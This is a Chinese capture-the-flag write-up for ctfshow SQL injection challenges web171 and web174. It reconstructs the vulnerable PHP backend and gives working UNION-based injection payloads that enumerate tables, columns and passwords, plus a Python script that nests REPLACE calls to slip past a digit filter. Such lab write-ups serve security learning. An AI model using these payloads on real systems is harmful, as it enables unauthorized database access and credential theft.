关于注释符引入

  • 如下题目(web171):

    1
    2
    3
    4
    //拼接sql语句查找指定ID用户
    $sql = "select username,password
    from user
    where username !='flag' and id = '".$_GET['id']."' limit 1;";
  • 这里$_GET['id']外的双引号是为了让PHP解析出传入的字符串,如果$_GET['id']值为1,则传入后源码为:

    1
    2
    3
    $sql = "select username,password 
    from user
    where username !='flag' and id = '1' limit 1;";
  • 基本payloads:
    -1' or username = 'flag',该payloads使得源代码中的username != 'flag' and id = '-1' or username = 'flag'
    这里由于and逻辑运算符的优先级大于or,所以传入payloads后的源码中的username != 'flag'该部分的源码无效,服务器只会解析or之后的语句,即对username = 'flag'进行解析。

  • 个人思路:

    • 由于源码后还有limit 1的语句,个人想要注释掉这一部分的代码,已经在phpstorm中测试过,在php语言中的SQL语句中使用sql的注释符,只会注释掉sql语句的符号,对php自身的符号不影响,如:image-20250415114151085 可见,php的外部引号没有受到sql中的注释符影响
    • 所以我们构建payloads:
      =flag' or username = 'flag' --
      且一定注意! sql注释符需要在结尾处多加一个空格才可以起效果

绕过数字过滤

补充:关于后端执行数据库命令的具体运行逻辑。

  • 如下代码模拟后端代码如何实现对用户请求接收并与数据库数据交互。

    sql数据库代码:

    1
    2
    3
    4
    5
    CREATE TABLE ctfshow_user4 (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50),
    password VARCHAR(50)
    );

    php后端代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    <?php
    // 数据库连接配置
    $servername = "localhost";
    $username = "root"; // 请根据实际情况修改数据库用户名
    $password = "yourpassword"; // 请根据实际情况修改数据库密码
    $dbname = "ctfshow";

    // 创建数据库连接
    $conn = new mysqli($servername, $username, $password, $dbname);

    // 检查连接是否成功
    if ($conn->connect_error) {
    die("连接失败: ". $conn->connect_error);
    }

    // 获取用户通过GET请求传入的id参数
    if (isset($_GET['id'])) {
    $id = $_GET['id'];
    } else {
    $id = '';
    }

    // 拼接SQL语句查找指定ID用户(此处存在SQL注入风险,实际应用需改进)
    $sql = "select username,password from ctfshow_user4 where username!= 'flag' and id = '$id' limit 1;";
    $result = $conn->query($sql);
    //此处返回一个对象:mysql_result,该实例化对象具有该查询结果的相关属性。

    // 用于存储结果的数组
    $ret = [];
    if ($result->num_rows > 0) {
    // 提取查询结果
    $row = $result->fetch_assoc();
    $ret['username'] = $row['username'];
    $ret['password'] = $row['password'];
    } else {
    $ret['msg'] = '未找到对应用户';
    }

    // 检查结果是否有flag或数字
    if (!preg_match('/flag|[0-9]/i', json_encode($ret))) {
    $ret['msg'] = '查询成功';
    }

    // 输出结果(此处简单以JSON形式输出,可根据实际需求调整)
    header('Content-Type: application/json');
    echo json_encode($ret);

    // 关闭数据库连接
    $conn->close();
    ?>
  • 相关陌生概念注释:

  • num_rows 功能解析

    在 PHP 的 mysqli 扩展中,当你执行一个 SELECT 类型的 SQL 查询语句后,会得到一个 mysqli_result 对象(即代码中的 $result ) 。num_rowsmysqli_result 对象的一个属性,它用于获取查询结果集中的行数。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    // 假设已经建立好数据库连接$conn,并执行了查询语句
    $sql = "select * from your_table";
    $result = $conn->query($sql);
    $rowCount = $result->num_rows;
    if ($rowCount > 0) {
    echo "查询到了 $rowCount 条记录";
    } else {
    echo "未查询到记录";
    }

    这里通过 $result->num_rows 获取到结果集的行数,从而可以判断是否有数据被查询出来,方便后续对结果进行处理。如果执行的查询没有匹配到任何行,num_rows 的值为 0 ;如果有匹配的行,它的值就是匹配行的数量。

    fetch_assoc 功能解析

    fetch_assocmysqli_result 对象的一个方法。它的作用是从结果集中获取一行数据,并将其作为关联数组返回。关联数组的键是结果集中列的名称,值是对应列的值。

    假设数据库表 usersidusernamepassword 三列,示例代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    $sql = "select id, username, password from users where id = 1";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
    $row = $result->fetch_assoc();
    echo "用户ID: ". $row['id']. "<br>";
    echo "用户名: ". $row['username']. "<br>";
    echo "密码: ". $row['password']. "<br>";
    }

    在上述代码中,$result->fetch_assoc() 从结果集中取出一行数据,将列名 idusernamepassword 作为数组键,对应的值作为数组值,赋值给 $row 变量,方便后续对具体字段值进行操作。

    数组被 json_encode 格式化后样子

    json_encode 函数用于将 PHP 变量转换为 JSON 格式字符串。对于不同结构的数组,转换后的样子不同:

    • 索引数组
    1
    2
    3
    4
    $arr = [1, 2, 3];
    $jsonStr = json_encode($arr);
    echo $jsonStr;
    // 输出: [1,2,3]
    • 关联数组
    1
    2
    3
    4
    $arr = ['name' => 'John', 'age' => 30];
    $jsonStr = json_encode($arr);
    echo $jsonStr;
    // 输出: {"name":"John","age":30}
    • 多维数组(包含索引数组和关联数组结构 )
    1
    2
    3
    4
    5
    6
    7
    $arr = [
    ['name' => 'John', 'age' => 30],
    ['name' => 'Alice', 'age' => 25]
    ];
    $jsonStr = json_encode($arr);
    echo $jsonStr;
    // 输出: [{"name":"John","age":30},{"name":"Alice","age":25}]

    在之前的用户信息查询代码中,如果查询到用户信息,$ret 数组类似 ['username' => 'admin', 'password' => 'admin'] 这种关联数组形式,经过 json_encode 后会变成 {"username":"admin","password":"admin"}

以web174为例

  • 题目截图如下:
  • 这道题有个小问题,在url中,该题目url路径初始为select-no-waf-3.php,结果网站直接报错了,我们要把该访问文件名改为select-no-waf-4.php,解决该bug。
  • 根据我们刚刚所解释的后端代码底层逻辑,该代码会对我们查询的数据进行过滤,除了flag会被过滤,[0-9]的数字也会被过滤。

首先查询数据库

  • 我尝试使用这样的payloads:-1' union select database(), 1;
    然而网站缺回显无数据,说明这里的1被过滤掉了。
    为什么呢?返回逻辑中的代码,不只是对json格式的返回数据进行过滤吗。

  • 这里我们就需要了解进行注入后后端返回的查询结果。
    首先这段payloads的目的是为了查出当前数据库的名称,直接采用database()函数,不需要from关键字。
    则此时在union关键字后的目标查询字段会映射于union关键字前的字段

  • 举个例子:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    CREATE TABLE IF NOT EXISTS grades 
    (
    name TEXT,
    points INTEGER
    );
    INSERT INTO grades VALUES
    ('zkj', 100),
    ('xjj', 90),
    ('wzy', 95),
    ('qhr', 80);

    SELECT
    name,points
    FROM grades
    where name=''
    UNION SELECT
    '6666', 2;-- 在UNION后直接加上与联合查询符前字段类型数量相同的字段,没有from关键字的话,会直接映射到UNION关键字前的键上。
  • 此时输出的结果为:

  • 采用fetch_assoc方法获取抓取到的行:
    补充其他fetch方法返回的数组:

  • fetch_assoc()

    • 返回 关联数组,键为列名(如 'name''points')。
    • 只能通过列名访问数据($row['name'])。
  • fetch_row()

    • 返回 索引数组,键为数字索引(如 [0][1])。
    • 只能通过索引访问数据($row[0])。
  • fetch_array()

    • 返回 混合数组,同时包含关联键和索引键。
    • 可以通过列名($row['name'])或索引($row[0])访问数据。
  • 有关$row变量取得的值:

    $row = $result->fetch_assoc();
    $row变量呈现如下:

    1
    2
    3
    4
    $row = [
    "name" => "6666",
    "ponits" => 6
    ]

    所以在经过json_encode处理后:
    对应json格式如下:

    1
    2
    3
    [{"name":"6666",
    "points":6
    }]

    所以在:

    1
    2
    3
    4
    //检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
    $ret['msg']='查询成功';
    }

    该检测逻辑中,我们采用的payload:
    -1' union select database(),1 --+是无效的,因为1会被映射到之前的username字段,导致payload被过滤掉
    于是我们传入如下paylaod绕过检测并查询当前数据库名称:

    1
    -1' union select database(),'a' --+

    获得回显:

获取数据库中表的名称

  • 这里即是该题关键,我们使用常规注入payload:

    1
    -1' union select 'a',group_concat(table_name) from information_schema.tables where table_schema = 'ctfshow_web' --+

    发现无法输出,原因一定是查询出来的表名中带有数字,而在题目后端返回逻辑中的正则表达式过滤了数字,导致输出失效。

  • 这里介绍replace函数,其基本用法:

    1
    REPLACE(str, old_substring, new_substring)
    • str:这是要处理的原始字符串。
    • old_substring:是需要被替换的子字符串。
    • new_substring:是用来替换 old_substring 的新子字符串。
  • 比如:

    1
    SELECT REPLACE("Hello World!","World","SQL");

    这里就会把Hello World!字符串里的World替换为SQL

  • 为了绕过后端对输出的json数据的过滤,我们使用多个replace函数进行嵌套,用按顺序排列的大写字母替换原数据中的数字:

    1
    -1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from information_schema.tables where table_schema = 'ctfshow_web' --+
  • 这里我写了如下python小脚本来快速生成这样的嵌套指令:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    def auto_payloads(payloads):
    letters = ['A','B','C','D','E','F','G','H','I','J']
    nums = [1,2,3,4,5,6,7,8,9,0]
    for n,l in zip(nums,letters):
    payloads = f"replace({payloads},'{n}','{l}')"
    return payloads

    if __name__ == '__main__':
    payloads = input("Enter payloads: ")
    print(auto_payloads(payloads))
  • 输入如group_concat(table_name),将会输出:

    1
    replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J')

    插入常规payload得:

    1
    -1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from information_schema.tables where table_schema = 'ctfshow_web' --+

    输入输入框获得回显:

    经过解码:D字符对应4,得到该数据库下的数据表有ctfshow_user4

获取该表字段名

  • 如法炮制,在脚本中输入payload:group_concat(column_name)
    获取如下payload:

    1
    -1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(column_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from information_schema.columns where table_schema = 'ctfshow_web' and table_name = 'ctfshow_user4' --+
  • 获取回显:

获取具体字段数据

  • 仍然使用python脚本进行编写,在脚本中输入payload:group_concat(password)
    获取如下paylaod:

    1
    -1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(password),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4 --+
  • 该题中,ctfshow_user4表的字段id,username都为空值,所以导致采用如group_concat(username,password)这样的paylaod会导致输出为空。

  • 获取回显:

  • 这里的flag字符仍然是通过了我们之前自定义的数字转字符编码的处理,这里我们需要反解码,个人编写了如下python脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    def decode(chars):
    letters = ['A','B','C','D','E','F','G','H','I','J']
    excel = {'A':'1','B':'2','C':'3','D':'4','E':'5','F':'6','G':'7','H':'8','I':'9','J':'0'}
    new_chars = []
    for char in chars:
    if char in letters:
    new_chars.append(excel[char])
    else:
    new_chars.append(char)
    new_chars = ''.join(str(i) for i in new_chars)
    return new_chars

    if __name__ == '__main__':
    chars = input("请输入要解码的字符:")
    print(decode(chars))
  • 输入给出的flag值:ctfshow{eDbDAbCJ-GefC-DCeH-aBce-eCDdFbAaCCaB}
    输入脚本程序中:

  • 获取flag